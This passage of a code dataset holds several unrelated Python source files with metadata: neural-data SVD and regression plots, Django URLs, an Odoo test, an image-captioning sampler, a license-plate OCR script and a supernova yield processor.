= np.transpose(u_t1) \n t_v = np.transpose(vh_t1) \n \n \n s_task_1 = np.linalg.multi_dot([t_u, np.transpose(task_2_HP), t_v])\n s_1 = s_task_1.diagonal()\n\n \n sum_c_task_1 = np.cumsum(abs(s_1))/task_1_HP.shape[0]\n \n plt.plot(sum_c_task_1, 'black', label = 'HP')\n plt.legend()\n \n #PFC\n task_1_PFC = C_1_PFC[choice,:,:]\n task_2_PFC = C_2_PFC[choice,:,:]\n \n \n task_1_PFC = np.transpose(task_1_PFC,[0,2,1]).reshape(task_1_PFC.shape[0]*task_1_PFC.shape[2], task_1_PFC.shape[1])\n task_2_PFC = np.transpose(task_2_PFC,[0,2,1]).reshape(task_2_PFC.shape[0]*task_2_PFC.shape[2], task_2_PFC.shape[1])\n #task_3 = np.transpose(task_3,[0,2,1]).reshape(task_3.shape[0]*task_3.shape[2], task_3.shape[1])\n \n \n where_are_NaNs = np.isnan(task_1_PFC)\n task_1_PFC[where_are_NaNs] = 0\n where_are_NaNs = np.isinf(task_1_PFC)\n task_1_PFC[where_are_NaNs] = 0\n \n \n where_are_NaNs = np.isnan(task_2_PFC)\n task_2_PFC[where_are_NaNs] = 0\n where_are_NaNs = np.isinf(task_2_PFC)\n task_2_PFC[where_are_NaNs] = 0\n \n \n u_t1, s_t1, vh_t1 = np.linalg.svd(np.transpose(task_1_PFC), full_matrices = False)\n t_u = np.transpose(u_t1) \n t_v = np.transpose(vh_t1) \n \n \n s_task_1 = np.linalg.multi_dot([t_u, np.transpose(task_2_PFC), t_v])\n s_1 = s_task_1.diagonal()\n\n \n sum_c_task_1 = np.cumsum(abs(s_1))/task_1_PFC.shape[0]\n \n plt.plot(sum_c_task_1, 'green', label = 'PFC')\n plt.legend()\n\n \ndef plot_cpd_gen(data,fig_n,title):\n \n C, cpd, C_1,C_2, C_3, cpd_1_2,cpd_2_3, predictors_all,session_trials_since_block = regression_general(data_HP)\n cpd = cpd[:,:-1]\n colors = dict(mcolors.BASE_COLORS, **mcolors.CSS4_COLORS)\n #c = [*colors][2:]\n c = ['violet', 'black', 'red','chocolate', 'green', 'blue', 'turquoise', 'grey', 'yellow', 'pink',\\\n 'purple','orange', 'darkblue', 'darkred', 'darkgreen','darkyellow','lightgreen']\n p = [*predictors_all]\n fig = plt.figure(1)\n \n fig.add_subplot(1,2,1)\n for i in np.arange(cpd.shape[1]):\n plt.plot(cpd[:,i], label =p[i], color = c[i])\n #plt.title(title)\n plt.legend()\n plt.ylabel('Coefficient of Partial Determination')\n plt.xlabel('Time (ms)')\n plt.title('HP')\n \n \n C, cpd, C_1,C_2, C_3, cpd_1_2,cpd_2_3, predictors_all,session_trials_since_block = regression_general(data_PFC)\n cpd = cpd[:,:-1]\n colors = dict(mcolors.BASE_COLORS, **mcolors.CSS4_COLORS)\n #c = [*colors][2:]\n c = ['violet', 'black', 'red','chocolate', 'green', 'blue', 'turquoise', 'grey', 'yellow', 'pink',\\\n 'purple','orange', 'darkblue', 'darkred', 'darkgreen','darkyellow','lightgreen']\n p = [*predictors_all]\n fig.add_subplot(1,2,2)\n\n for i in np.arange(cpd.shape[1]):\n plt.plot(cpd[:,i], label =p[i], color = c[i])\n #plt.title(title)\n plt.legend()\n plt.ylabel('Coefficient of Partial Determination')\n plt.xlabel('Time (ms)')\n plt.title('PFC')\n \n firing = PFC['Data'][0]\n dm = PFC['DM'][0]\n\n coef = C[6]\n coef_average = np.mean(coef, 1)\n index = np.where(coef_average > 4)[0][1]\n #index = 192\n neuron = 0\n for sess,s in enumerate(firing):\n for n in range(s.shape[1]):\n neuron+=1\n if neuron == index:\n block_plot = session_trials_since_block[sess]\n trials = s[:,n,:]\n design = dm[sess]\n \n \n # Plot mean around choice\n ch = np.mean(trials[:,22:26],1)\n plt.figure()\n plt.plot(ch)\n plt.plot(block_plot)\n plt.plot(design[:,0])\n \n ch = np.mean(trials[:,42:50],1)\n plt.figure()\n plt.plot(ch)\n plt.plot(block_plot)\n plt.plot(design[:,0])\n \n \n\n\n \n # plt.vlines(32,ymin = 0, ymax = 0.15,linestyles= '--', color = 'grey', label = 'Poke')\n# \n# predictors = OrderedDict([('Reward', reward_t2),\n# ('Choice', choices_t2),\n# ('Correct', correct_t2),\n# ('A in Block', a_since_block_t2), \n# ('A in Block x Reward', int_a_reward_t2), \n# \n# ('State', state_t2),\n# ('Trial in Block', trials_since_block_t2),\n# ('Interaction State x Trial in Block', interaction_trial_latent_t2),\n# ('Interaction State x A count', interaction_a_latent_t2),\n#\n# ('Choice x Trials in Block', interaction_trial_choice_t2),\n# ('Reward x Choice', reward_choice_int_t2),\n# ('No Reward Count in a Block', negative_reward_count_t2),\n# ('No Reward x Correct', negative_reward_count_st_t2),\n# ('Reward Count in a Block', positive_reward_count_t2),\n# ('Reward Count x Correct', positive_reward_count_st_t2),\n# ('No reward Count x Choice',negative_reward_count_ch_t2),\n# ('Reward Count x Choice',positive_reward_count_ch_t2),\n# ('Reward x Trial in Block',reward_trial_in_block_t2),\n# \n# ('ones', ones)])\n \n \n plt.ylim(0, 0.1)\n fig = plt.figure()\n for i in range(len(p)):\n task_1 = np.mean(C_1[i,:], axis = 1).flatten()\n task_2 = np.mean(C_2[i,:], axis = 1).flatten()\n # task_3 = np.mean(C_3[4,:], axis = 1).flatten()\n \n argmax_neuron = np.argsort(-task_1)\n task_2_by_1 = task_2[argmax_neuron]\n task_1 = task_1[argmax_neuron]\n #task_3_by_1 = task_3[argmax_neuron]\n \n y = np.arange(len(task_1))\n fig.add_subplot(5, 4, i+1)\n plt.scatter(y,task_2_by_1,s = 2, color = 'blue', label = 'Task 2 sorted by Task 1')\n plt.plot(y,task_1,color = 'black', label = 'Task 1 sorted')\n plt.title(p[i])\n plt.tight_layout()\n\n #plt.scatter(y,task_3_by_1,s = 2,color = 'slateblue', label = 'Task 3 sorted by Task 1')\n \n #plt.scatter(y,task_1,s = 2,color = 'black', label = 'Task 1 sorted')\n\n #plt.plot(y,task_1,color = 'black', label = 'Task 1 sorted')\n \n \n\n\n ","sub_path":"regressions/regressions_general.py","file_name":"regressions_general.py","file_ext":"py","file_size_in_byte":29133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"263825705","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n # ex: /picker/\n path('', views.HomeView.as_view(), name='index'),\n # ex: /picker/get\n path('items/', views.ItemsView.as_view(), name='items'),\n # ex: /picker/5\n path('/', views.RecipeView.as_view(), name='recipe'),\n # ex: /picker/add-recipe\n path('add-recipe/', views.AddRecipeView.as_view(), name='add-recipe'),\n # ex: /picker/add-ingredient\n path('add-ingredient/', views.AddIngredientView.as_view(), name='add-ingredient'),\n]\n","sub_path":"dishpicker/picker/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"164674673","text":"# 10번_B735042_김대겸\r\n\r\n# 빈 전화번호책 리스트(phoneBook)\r\nphoneBook = []\r\ni = 0\r\n# 입력모드 시작\r\nwhile True:\r\n name = input(\"이름? \")\r\n if name == '': # 사용자가 엔터만 누르면 입력모드 종료\r\n break\r\n phoneBook.append([])\r\n phoneBook[i].append(name)\r\n phoneNum = input(\"전화번호? \")\r\n phoneBook[i].append(phoneNum)\r\n i += 1\r\nprint()\r\n# 전화번호책 출력 \r\nprint(\"전화번호책 : \", phoneBook)\r\nprint()\r\n# 검색모드\r\nwhile True:\r\n wantName = input(\"전화번호 찾고싶은 사람의 이름을 입력하세요? \")\r\n if wantName == '': # 사용자가 엔터만 누르면 검색모드 종료.\r\n break\r\n finding = 0 # 사용자가 찾고싶은 이름을 구별해줄 변수finding에 0을 저장.\r\n for i in range(len(phoneBook)):\r\n if wantName in phoneBook[i]: # 찾고싶은 이름이 전화번호책에 있다면,\r\n if wantName == phoneBook[i][0]:\r\n finding += 1 # 찾고싶은 이름을 찾으면 finding에 1을 더하여 저장\r\n print(wantName, \"의 전화번호는 \", phoneBook[i][1], \"입니다.\") \r\n else: # 찾고싶은 이름이 전화번호책에 없다면.\r\n finding == 0 # 찾고싶은 이름을 찾지못하면 finding은 0\r\n if finding == 0: # finding == 0이면 등록되지 않은 이름.\r\n print(wantName, \"는 등록되지 않았습니다.\")\r\n \r\n \r\n","sub_path":"김대겸 (10).py","file_name":"김대겸 (10).py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197738998","text":"import numpy as np\n\n\ndef colormix(img, color='r, g, b', scale=[1], clim=[0,1], plot_flag=0):\n s = img.shape\n assert len(s) >= 2, 'colormix: need 3D image to convert rgb'\n num_channel = s[0] \n\n color = color.replace(' ','')\n color = color.replace(';', ',')\n color = color.split(',') \n if len(color) < num_channel:\n color = ['r', 'g', 'b', 'c', 'p', 'y']\n color = color[:num_channel]\n color_vec = convert_rgb_vector(color)\n\n if len(scale) == 1 or len(scale) != num_channel:\n scale = np.ones(len(s))\n\n img_color = img.copy() \n img_color = (img_color - clim[0]) / (clim[1] - clim[0])\n for i in range(num_channel):\n img_color[i] *= scale[i]\n\n img_color = convert_rgb_img(img_color, color_vec)\n if plot_flag:\n plt.figure()\n plt.imshow(img_color)\n return img_color\n\n\ndef convert_rgb_vector(color):\n n = len(color)\n vec = np.zeros([n, 3])\n for i in range(n):\n if color[i] == 'r': vec[i] = [1, 0, 0]\n if color[i] == 'g': vec[i] = [0, 1, 0] \n if color[i] == 'b': vec[i] = [0, 0, 1]\n if color[i] == 'c': vec[i] = [0, 1, 1] \n if color[i] == 'p': vec[i] = [1, 0, 1] \n if color[i] == 'y': vec[i] = [1, 1, 0]\n return vec \n\n\ndef convert_rgb_img(img, color_vec):\n s = img.shape\n assert len(s) >= 2, 'need 3D image to convert rgb'\n img_color = np.zeros([s[1], s[2], 3])\n cR, cG, cB = 0, 0, 0\n for i in range(s[0]):\n cR += img[i] * color_vec[i][0]\n cG += img[i] * color_vec[i][1]\n cB += img[i] * color_vec[i][2]\n img_color[:, :, 0] = cR\n img_color[:, :, 1] = cG\n img_color[:, :, 2] = cB\n return img_color\n\n\n\n\n\n\n\n\n","sub_path":"pyxas/colormix.py","file_name":"colormix.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62511853","text":"# import xlsxwriter module \r\nimport xlsxwriter \r\n\r\n# Workbook() takes one, non-optional, argument \r\n# which is the filename that we want to create. \r\nworkbook = xlsxwriter.Workbook('chart_pie.xlsx') \r\n\r\n# The workbook object is then used to add new \r\n# worksheet via the add_worksheet() method. \r\nworksheet = workbook.add_worksheet() \r\n\r\n# Create a new Format object to formats cells \r\n# in worksheets using add_format() method . \r\n\r\n# here we create bold format object . \r\nbold = workbook.add_format({'bold': 1}) \r\n\r\n# create a data list . \r\nheadings = ['Category', 'Values'] \r\n\r\ndata = [ \r\n\t['Apple', 'Cherry', 'Pecan'], \r\n\t[60, 30, 10], \r\n] \r\n\r\n# Write a row of data starting from 'A1' \r\n# with bold format. \r\nworksheet.write_row('A1', headings, bold) \r\n\r\n# Write a column of data starting from \r\n# A2, B2, C2 respectively. \r\nworksheet.write_column('A2', data[0]) \r\nworksheet.write_column('B2', data[1]) \r\n\r\n# Create a chart object that can be added \r\n# to a worksheet using add_chart() method. \r\n\r\n# here we create a pie chart object . \r\nchart1 = workbook.add_chart({'type': 'pie'}) \r\n\r\n# Add a data series to a chart \r\n# using add_series method. \r\n# Configure the first series. \r\n#[sheetname, first_row, first_col, last_row, last_col]. \r\nchart1.add_series({ \r\n\t'name':\t 'Pie sales data', \r\n\t'categories': ['Sheet1', 1, 0, 3, 0], \r\n\t'values':\t ['Sheet1', 1, 1, 3, 1], \r\n}) \r\n\r\n# Add a chart title \r\nchart1.set_title({'name': 'Popular Pie Types'}) \r\n\r\n# Set an Excel chart style. Colors with white outline and shadow. \r\nchart1.set_style(10) \r\n\r\n# Insert the chart into the worksheet(with an offset). \r\n# the top-left corner of a chart is anchored to cell C2. \r\nworksheet.insert_chart('C2', chart1, {'x_offset': 25, 'y_offset': 10}) \r\n\r\n# Finally, close the Excel file \r\n# via the close() method. \r\nworkbook.close() \r\n","sub_path":"draw pie chart.py","file_name":"draw pie chart.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"288521507","text":"import torch\nimport matplotlib.pyplot as plt\nimport numpy as np \nimport argparse\nimport pickle \nimport os\nimport csv\nfrom torchvision import transforms \nfrom build_vocab import Vocabulary\nfrom model import EncoderCNN, DecoderRNN\nfrom PIL import Image\n\n\n# Device configuration\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ndef load_image(image_path, transform=None):\n image = Image.open(image_path).convert('RGB')\n image = image.resize([224, 224], Image.LANCZOS)\n \n if transform is not None:\n image = transform(image).unsqueeze(0)\n \n return image\n\ndef main(args):\n # Image preprocessing\n transform = transforms.Compose([\n transforms.ToTensor(), \n transforms.Normalize((0.485, 0.456, 0.406), \n (0.229, 0.224, 0.225))])\n \n # Load vocabulary wrapper\n with open(args.vocab_path, 'rb') as f:\n vocab = pickle.load(f)\n\n # Build models\n encoder = EncoderCNN(args.embed_size).eval() # eval mode (batchnorm uses moving mean/variance)\n decoder = DecoderRNN(args.embed_size, args.hidden_size, len(vocab), args.num_layers)\n encoder = encoder.to(device)\n decoder = decoder.to(device)\n\n # Load the trained model parameters\n encoder.load_state_dict(torch.load(args.encoder_path))\n decoder.load_state_dict(torch.load(args.decoder_path))\n\n words = ['person',\n 'bicycle',\n 'car',\n 'motorcycle',\n 'airplane',\n 'bus',\n 'train',\n 'truck',\n 'boat',\n 'traffic light',\n 'fire hydrant',\n 'stop sign',\n 'parking meter',\n 'bench',\n 'bird',\n 'cat',\n 'dog',\n 'horse',\n 'sheep',\n 'cow',\n 'elephant',\n 'bear',\n 'zebra',\n 'giraffe',\n 'backpack',\n 'umbrella',\n 'handbag',\n 'tie',\n 'suitcase',\n 'frisbee',\n 'skis',\n 'snowboard',\n 'sports ball',\n 'kite',\n 'baseball bat',\n 'baseball glove',\n 'skateboard',\n 'surfboard',\n 'tennis racket',\n 'bottle',\n 'wine glass',\n 'cup',\n 'fork',\n 'knife',\n 'spoon',\n 'bowl',\n 'banana',\n 'apple',\n 'sandwich',\n 'orange',\n 'broccoli',\n 'carrot',\n 'hot dog',\n 'pizza',\n 'donut',\n 'cake',\n 'chair',\n 'couch',\n 'potted plant',\n 'bed',\n 'dining table',\n 'toilet',\n 'tv',\n 'laptop',\n 'mouse',\n 'remote',\n 'keyboard',\n 'cell phone',\n 'microwave',\n 'oven',\n 'toaster',\n 'sink',\n 'refrigerator',\n 'book',\n 'clock',\n 'vase',\n 'scissors',\n 'teddy bear',\n 'hair drier',\n 'toothbrush']\n\n # Prepare images\n if args.images:\n\n # inputs path\n input_path = os.listdir(args.images)\n sentences = []\n\n # folders in inputs\n for path in input_path:\n file_path = args.images+path+'/'\n if os.path.isdir(file_path):\n files = os.listdir(file_path)\n # files in folders\n for file in files:\n\n image = load_image(file_path+file, transform)\n image_tensor = image.to(device)\n\n # Generate an caption from the image\n feature = encoder(image_tensor)\n sampled_ids = decoder.sample(feature)\n sampled_ids = sampled_ids[0].cpu().numpy() # (1, max_seq_length) -> (max_seq_length)\n\n # Convert word_ids to words\n sampled_caption = []\n for word_id in sampled_ids:\n word = vocab.idx2word[word_id]\n sampled_caption.append(word)\n if word == '':\n break\n caption = ' '.join(sampled_caption)[8:-6]\n sentences.append(caption)\n for word in words:\n if word in caption:\n f = open('captions2.csv', 'a', encoding='utf-8', newline=\"\")\n writer = csv.writer(f)\n writer.writerow([file_path+file, word, caption])\n f.close()\n \n # Print out the image and the generated caption\n # for s in sentences:\n # print(s)\n\n # Prepare an image\n else:\n image = load_image(args.image, transform)\n image_tensor = image.to(device)\n\n found_words = []\n\n # Generate an caption from the image\n feature = encoder(image_tensor)\n sampled_ids = decoder.sample(feature)\n sampled_ids = sampled_ids[0].cpu().numpy() # (1, max_seq_length) -> (max_seq_length)\n\n # Convert word_ids to words\n sampled_caption = []\n for word_id in sampled_ids:\n word = vocab.idx2word[word_id]\n sampled_caption.append(word)\n if word == '':\n break\n sentence = ' '.join(sampled_caption)\n\n for word in words:\n if word in sentence:\n found_words.append(word)\n\n if 'hot dog' in sentence:\n found_words.remove('dog')\n\n return sentence, found_words\n # Print out the image and the generated caption\n # print(sentence)\n\n \nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--image', type=str, help='input image for generating caption')\n parser.add_argument('--images', type=str, help='input image directory for generating caption')\n parser.add_argument('--encoder_path', type=str, default='models/encoder-5-3000.pkl', help='path for trained encoder')\n parser.add_argument('--decoder_path', type=str, default='models/decoder-5-3000.pkl', help='path for trained decoder')\n parser.add_argument('--vocab_path', type=str, default='data/vocab.pkl', help='path for vocabulary wrapper')\n \n # Model parameters (should be same as paramters in train.py)\n parser.add_argument('--embed_size', type=int , default=256, help='dimension of word embedding vectors')\n parser.add_argument('--hidden_size', type=int , default=512, help='dimension of lstm hidden states')\n parser.add_argument('--num_layers', type=int , default=1, help='number of layers in lstm')\n args = parser.parse_args()\n main(args)\n","sub_path":"models/pyflask/image_captioning/sample2.py","file_name":"sample2.py","file_ext":"py","file_size_in_byte":6924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"80656978","text":"# -*- coding: utf-8 -*-\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\n\n# from odoo.tests.common import SavepointCase\n# from odoo.addons.pos_survey.tests.test_data import TestData\n#\n# from odoo import fields\n# import logging\n# _logger = logging.getLogger(__name__)\n# import odoo\n# import odoo.tests\n# @odoo.tests.common.at_install(False)\n# @odoo.tests.common.post_install(True)\n\n# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\n# from odoo.addons.account.tests.account_test_classes import AccountingTestCase\nfrom odoo.tests.common import TransactionCase\n\n\n# class test_res_partner(TransactionCase):\n\nclass ClosePosSession(TransactionCase):\n \n def test_close_pos_session(self):\n user_id = self.env['res.users'].create({\n 'name':'test user',\n 'login':'a',\n 'compnay_id':1\n })\n servey_id = self.env['survey.survey'].create({\n 'title':'Test Servey'\n })\n session_id = self.env['pos.session'].create({\n 'user_id':user_id.id,\n 'config_id':1\n })\n account_journal_id = self.env['account.journal'].create({\n 'name': 'bank',\n 'type': 'sale',\n 'code': 'Bank'\n })\n servey_user_input_id = self.env['survey.user_input'].create({\n 'survey_id':servey_id.id,\n 'session_id':session_id.id,\n })\n servey_quetion_id = self.env['survey.question'].create({\n 'question':'Test Quetion',\n 'survey_id':servey_id.id,\n 'journal_ids':[(6, 0, [session_id.statement_ids.journal_id.id])],\n 'page_id':1\n })\n\n #write method flow of servey.user_input\n if servey_user_input_id.state == 'done':\n if servey_user_input_id.session_id and servey_user_input_id.session_id.state != 'closed':\n session_id.action_pos_session_closing_control()\n session_id.action_pos_session_close()\n\n # action servey user input method flow\n user_input = self.env['survey.user_input'].browse(servey_user_input_id.id)\n questions_to_fill = self.env['survey.question'].search([('survey_id', '=', servey_id.id),('journal_ids', '!=', False)])\n for question in questions_to_fill:\n for journal in question.journal_ids :\n if journal.id in session_id.statement_ids.mapped('journal_id').mapped('id') :\n statement = session_id.statement_ids.filtered(lambda x : x.journal_id.id == journal.id)\n vals = {\n 'user_input_id': user_input.id,\n 'question_id': question.id,\n 'page_id': question.page_id.id,\n 'survey_id': question.survey_id.id,\n 'skipped': False,\n 'answer_type' : 'number',\n 'value_number' : statement.total_entry_encoding\n }\n user_input_line = self.env['survey.user_input_line'].search([('user_input_id', '=', servey_user_input_id.id),('question_id', '=', servey_quetion_id.id)])\n if not user_input_line :\n new_user_input_id = self.env['survey.user_input_line'].create(vals)\n self.assertEqual(new_user_input_id.question_id.id,question.id)\n self.assertEqual(new_user_input_id.survey_id.id, question.survey_id.id)\n print (\"\\n\\n\\ Automated Test Succesfully Run\")\n else : #updatebecause session could have been updated\n user_input_line.write(vals)","sub_path":"pos_survey/tests/test_data.py","file_name":"test_data.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"262867857","text":"\n# Main\nimport cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport imutils\nimport easyocr, pytesseract\nimport time\nfrom tkinter import filedialog\nfrom tkinter import *\nimport mysql.connector, sys, os\nfrom mysql.connector import Error\n\ndef fetchFromDB(number):\n try:\n connection = mysql.connector.connect(host='localhost',\n database='alpr',\n user='root',\n password=str(os.environ.get('Pass')))\n cursor = connection.cursor(dictionary=True)\n sql_fetch_query = \"\"\"select * from license_plates where PlateNumber=%s\"\"\"\n cursor.execute(sql_fetch_query, (number,))\n records = cursor.fetchone()\n # print(records)\n # print(len(records))\n if(records!=None or len(records)>0):\n print(f'Number verified :) ')\n else:\n print(\"Number NOT verified :( \")\n except Error as e:\n print(\"Error reading data from MySQL table\", e)\n finally:\n if (connection.is_connected()):\n cursor.close()\n connection.close()\n print(\"MySQL connection is closed\")\n return\n\n\nif __name__ == \"__main__\":\n # initialise\n pytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n\n # To take image using gui\n root = Tk()\n root.title(\"MINI PROJECT\")\n\n string = filedialog.askopenfilename(initialdir=\"D:/code/ALPR/Images\",\n title=\"Select A File\")\n\n # load image as an object\n img = cv.imread(string)\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n # plt.imshow(cv.cvtColor(gray, cv.COLOR_BGR2RGB))\n cv.imshow('Frame3', gray)\n cv.waitKey(100)\n\n # basically bilateralFilter(img, d, sigmacolor, sigmaSpace, borderType)\n bfilter = cv.bilateralFilter(gray, 15, 15, 15) #Noise reduction\n cv.imshow('Frame3', bfilter)\n cv.waitKey(100)\n\n # canny uses hystersis thresholding\n edged = cv.Canny(bfilter, 30, 255) #Edge detection\n # edged = cv.Canny(gray, 30, 200)\n\n #plt.imshow(cv.cvtColor(edged, cv.COLOR_BGR2RGB))\n cv.imshow('Frame3', edged)\n cv.waitKey(100)\n\n # RETR_TREE: Retrieves all of the\n # contours and reconstructs a full hierarchy of nested contours.\n # CHAIN_APPROX_SIMPLE compresses horizontal, vertical,\n # and diagonal segments and leaves only their end points.\n keypoints = cv.findContours(edged.copy(), cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)\n contours = imutils.grab_contours(keypoints)\n contours = sorted(contours, key=cv.contourArea, reverse=True)[:10]\n\n # img1 = cv.drawContours(edged, [contours[8]], 0, 255, -1)\n # cv.imshow('Frame3', img1)\n # cv.waitKey(6000)\n\n print(\"Contour length:\", len(contours))\n\n location = None\n # for contour in contours:\n # approx = cv.approxPolyDP(contour, 10, True) # (cont, resolution, closed/open)\n # if len(approx) == 4:\n # location = approx\n # break\n\n for contour in contours:\n # epsilon : Parameter specifying the approximation accuracy.\n # epsilon : This is the maximum distance between the original curve and its approximation\n approx = cv.approxPolyDP(contour, 10, True) # (cnt, epsilon, closed)\n \"\"\"Can add condition for rectangle (basis of length & breadth)\"\"\"\n if len(approx) == 4 and 100 < cv.contourArea(contour):\n location = approx\n img1 = cv.drawContours(edged, [contour], 0, 255, -1)\n cv.imshow('Frame3', img1)\n cv.waitKey(100)\n break\n\n # for contour in contours:\n # approx = cv.approxPolyDP(contour, 10, True)\n # \"\"\"Can add condition for rectangle (basis of length & breadth) IMP \"\"\"\n # if len(approx) == 4:\n # location = approx\n # img1 = cv.drawContours(edged, [contour], 0, 255, -1)\n # cv.imshow('Frame3', img1)\n # cv.waitKey(100)\n\n\n mask = np.zeros(gray.shape, np.uint8)\n new_image = cv.drawContours(mask, [location], 0, 255, -1)\n cv.imshow('Frame3', new_image)\n cv.waitKey(100)\n\n new_image = cv.bitwise_and(img, img, mask=mask)\n cv.imshow('Frame3', new_image)\n cv.waitKey(100)\n\n #plt.imshow(cv.cvtColor(new_image, cv.COLOR_BGR2RGB))\n\n (x, y) = np.where(mask == 255)\n (x1, y1) = (np.min(x), np.min(y))\n (x2, y2) = (np.max(x), np.max(y))\n cropped_image = gray[x1:x2+1, y1:y2+1]\n cv.imshow('Frame3', cropped_image)\n cv.waitKey(1000)\n\n #plt.imshow(cv.cvtColor(cropped_image, cv.COLOR_BGR2RGB))\n\n # For tesseract\n result = pytesseract.image_to_string(cropped_image)\n # print(result)\n\n # for tessearct\n text = result\n\n # Strip off the spaces & unwanted chars present in between characters\n text = text.replace(\" \", \"\")\n text = text.strip()\n text = re.sub('[\\W_]+', '', text)\n\n # Check with the DB\n fetchFromDB(text)\n\n # text = result[0][-2]\n font = cv.FONT_HERSHEY_SIMPLEX\n res = cv.putText(img, text=text, org=(approx[0][0][0], approx[1][0][1]+60),\n fontFace=font, fontScale=1, color=(0, 255, 0), thickness=2,\n lineType=cv.LINE_AA)\n res = cv.rectangle(img, tuple(approx[0][0]), tuple(approx[2][0]), (0, 255, 0), 3)\n #plt.imshow(cv.cvtColor(res, cv.COLOR_BGR2RGB))\n\n # show the frame with number\n cv.imshow('Frame3', res)\n cv.waitKey(4000)\n\n print(\"Text: \", text)","sub_path":"Roughbook_tesseract.py","file_name":"Roughbook_tesseract.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"559765212","text":"from voxsup.api.client.linkedin import LinkedInClient as Client\naccount_id = 500735271 # VoxSup Inc\nclient = Client(context={'account_id': account_id})\nenable_requests_logging()\n\nbody = {\n \"patch\": {\n \"$set\": {\n \"htmlBody\": \"Hi I'm Joe\"\n }\n }\n}\nresponse = client.post('adInMailContentsV2/1120974', json=body)\nresponse.json()\n","sub_path":"linkedin/liEditHtmlBodyTest.py","file_name":"liEditHtmlBodyTest.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"184887017","text":"\"\"\" \nNKT13 processor \n\nARGV \n==== \n1) \t\tElemental symbol \n\"\"\" \n\nimport sys \nimport os \n\nz_dirs = {\n\t0: \t\t\t\"FeH-inf\", \n\t0.001: \t\t\"FeH-1p15\", \n\t0.004: \t\t\"FeH-0p54\", \n\t0.008: \t\t\"FeH-0p24\", \n\t0.02: \t\t\"FeH0p15\", \n\t0.05: \t\t\"FeH0p55\" \n}\n\ndef get_yields(filestream): \n\tline = filestream.readline() \n\twhile not line.startswith(\"M \"): \n\t\tline = filestream.readline() \n\t# line = filestream.readline() \n\tmasses = [float(i) for i in line.split()[1:]] \n\twhile not line.startswith(sys.argv[1]): \n\t\tline = filestream.readline() \n\tisotopes = [] \n\tyields = [] \n\twhile line.startswith(sys.argv[1]) and line != \"\": \n\t\tisotopes.append(\"%s%d\" % (sys.argv[1], int(line.split()[1]))) \n\t\tyields.append([float(i) for i in line.split()[2:]]) \n\t\tline = f.readline() \n\t\tprint(line) \n\t# yields = [list(i) for i in zip(masses, yields)] \n\t# print(yields) \n\t# print(len(yields)) \n\treturn [masses, isotopes, yields] \n\n\ndef write_yields(outstream, masses, isotopes, yields): \n\toutstream.write(\"# Units are Msun\\n\") \n\toutstream.write(\"# M_init\\t\") \n\tfor i in isotopes: \n\t\toutstream.write(\"%s\\t\" % (i.lower())) \n\toutstream.write(\"\\n8\\t\")\n\tfor i in isotopes: \n\t\toutstream.write(\"0\\t\") \n\toutstream.write(\"\\n\") \n\tfor i in range(len(masses)): \n\t\tif masses[i] > 8: \n\t\t\toutstream.write(\"%g\\t\" % (masses[i])) \n\t\t\tfor j in range(len(isotopes)): \n\t\t\t\t outstream.write(\"%e\\t\" % (yields[j][i])) \n\t\t\toutstream.write(\"\\n\") \n\t\telse: \n\t\t\tcontinue \n\toutstream.close() \n\n\nif __name__ == \"__main__\": \n\twith open(\"ck13.dat\", 'r') as f: \n\t\tfor i in z_dirs.keys(): \n\t\t\tmasses, isotopes, yields = get_yields(f) \n\t\t\twith open(\"%s/v0/%s.dat\" % (z_dirs[i], sys.argv[1].lower()), \n\t\t\t\t'w') as out: \n\t\t\t\twrite_yields(out, masses, isotopes, yields) \n\t\tf.close() \n\n","sub_path":"vice/yields/ccsne/NKT13/processor.py","file_name":"processor.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"599485551","text":"'''\nPlot mean and width of s vs pt for Lyon and Caltech MC and MC truth\n Usage: python -i frp_caltech_vs_lyon.py\n'''\n\nimport JPsi.MuMu.common.canvases as canvases\nfrom JPsi.MuMu.escale.fitResultPlotter import FitResultPlotter\nfrom JPsi.MuMu.common.binedges import BinEdges\nfrom JPsi.MuMu.common.basicRoot import *\nfrom JPsi.MuMu.common.roofit import *\nfrom JPsi.MuMu.escale.lyondata import data_2011_09_23_confID155805 as lyon\nfrom JPsi.MuMu.scaleFitter import subdet_r9_categories\n\ngStyle.SetPadTopMargin(0.1)\ncanvases.wwidth = 400\ncanvases.wheight = 400\ncanvases.yperiod = 10\n\nfilename = '/raid2/veverka/esFitResults/mc_sreco_strue_Baseline_V1.root'\nfilename = '/Users/veverka/Work/Talks/11-11-04/mc_sreco_strue_Baseline_V1.root'\nfilename = '/Users/veverka/Work/Talks/11-11-09/Baseline_mod1/mc_sreco_strue_Baseline_mod1.root'\n\nplotters = []\n\n## Configuration for plots vs Pt\nbinedges = 